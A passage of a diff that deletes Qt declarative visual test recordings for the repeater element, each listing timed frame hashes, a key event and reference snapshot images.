"2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 80 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 96 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 112 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 128 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 144 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 160 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 176 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 192 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 208 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 224 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 240 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 256 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 272 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 288 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 304 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 320 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 336 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 352 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 368 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 384 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 400 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 416 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 432 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 448 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 464 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 480 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 496 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 512 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 528 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 544 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 560 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 576 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 592 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 608 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 624 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 640 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 656 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 672 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 688 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 704 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 720 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 736 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 752 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 768 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 784 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 800 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 816 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 832 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 848 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 864 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 880 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 896 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 912 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 928 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 944 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 960 - image: "basic4.0.png" - } - Frame { - msec: 976 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 992 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1008 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1024 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1040 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1056 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1072 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1088 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1104 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1120 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1136 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1152 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1168 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1184 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1200 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1216 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1232 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1248 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1264 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1280 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1296 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1312 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1328 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1344 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1360 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1376 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1392 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1408 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1424 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1440 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1456 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1472 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1488 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1504 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1520 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1536 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1552 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1568 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1584 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1600 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } - Frame { - msec: 1616 - hash: "2ab8ff9a9fb09111ac07d3966aac9d94" - } -} diff --git a/tests/auto/declarative/visual/repeater/data-X11/basic1.0.png b/tests/auto/declarative/visual/repeater/data-X11/basic1.0.png deleted file mode 100644 index 18ab543..0000000 Binary files a/tests/auto/declarative/visual/repeater/data-X11/basic1.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data-X11/basic1.qml b/tests/auto/declarative/visual/repeater/data-X11/basic1.qml deleted file mode 100644 index bf215ca..0000000 --- a/tests/auto/declarative/visual/repeater/data-X11/basic1.qml +++ /dev/null @@ -1,323 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 32 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 48 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 64 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 80 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 96 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 112 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 128 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 144 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 160 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 176 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 192 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 208 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 224 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 240 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 256 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 272 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 288 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 304 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 320 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 336 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 352 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 368 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 384 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 400 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 416 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 432 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 448 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 464 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 480 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 496 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 512 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 528 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 544 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 560 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 576 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 592 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 608 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 624 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 640 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 656 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 672 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 688 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 704 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 720 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 736 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 752 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 768 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 784 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 800 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 816 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 832 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 848 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 864 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 880 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 896 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 912 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 928 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 944 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 960 - image: "basic1.0.png" - } - Frame { - msec: 976 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 992 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1008 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1024 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1040 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1056 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1072 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1088 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1104 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1120 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1136 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1152 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1168 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1184 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1200 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1216 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1232 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } -} diff --git a/tests/auto/declarative/visual/repeater/data-X11/basic2.0.png b/tests/auto/declarative/visual/repeater/data-X11/basic2.0.png deleted file mode 100644 index 18ab543..0000000 Binary files a/tests/auto/declarative/visual/repeater/data-X11/basic2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data-X11/basic2.qml b/tests/auto/declarative/visual/repeater/data-X11/basic2.qml deleted file mode 100644 index cb6b46c..0000000 --- a/tests/auto/declarative/visual/repeater/data-X11/basic2.qml +++ /dev/null @@ -1,331 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 32 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 48 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 64 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 80 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 96 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 112 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 128 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 144 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 160 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 176 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 192 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 208 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 224 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 240 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 256 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 272 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 288 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 304 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 320 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 336 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 352 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 368 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 384 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 400 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 416 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 432 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 448 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 464 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 480 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 496 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 512 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 528 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 544 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 560 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 576 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 592 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 608 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 624 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 640 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 656 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 672 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 688 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 704 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 720 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 736 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 752 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 768 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 784 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 800 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 816 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 832 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 848 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 864 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 880 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 896 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 912 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 928 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 944 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 960 - image: "basic2.0.png" - } - Frame { - msec: 976 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 992 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1008 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1024 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1040 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1056 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1072 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1088 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1104 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1120 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1136 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1152 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1168 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1184 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1200 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1216 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1232 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1248 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1264 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } -} diff --git a/tests/auto/declarative/visual/repeater/data-X11/basic3.0.png b/tests/auto/declarative/visual/repeater/data-X11/basic3.0.png deleted file mode 100644 index 18ab543..0000000 Binary files a/tests/auto/declarative/visual/repeater/data-X11/basic3.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/repeater/data-X11/basic3.qml b/tests/auto/declarative/visual/repeater/data-X11/basic3.qml deleted file mode 100644 index 9545fa9..0000000 --- a/tests/auto/declarative/visual/repeater/data-X11/basic3.qml +++ /dev/null @@ -1,347 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 32 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 48 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 64 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 80 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 96 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 112 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 128 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 144 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 160 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 176 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 192 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 208 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 224 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 240 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 256 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 272 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 288 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 304 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 320 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 336 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 352 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 368 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 384 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 400 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 416 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 432 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 448 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 464 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 480 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 496 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 512 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 528 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 544 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 560 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 576 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 592 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 608 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 624 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 640 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 656 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 672 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 688 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 704 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 720 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 736 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 752 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 768 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 784 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 800 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 816 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 832 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 848 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 864 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 880 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 896 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 912 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 928 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 944 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 960 - image: "basic3.0.png" - } - Frame { - msec: 976 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 992 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1008 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1024 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1040 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1056 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1072 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1088 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1104 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1120 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1136 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1152 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1168 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1184 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1200 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1216 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Frame { - msec: 1232 - hash: "71dedc2f057c660fa5089de2dd6313a4" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - 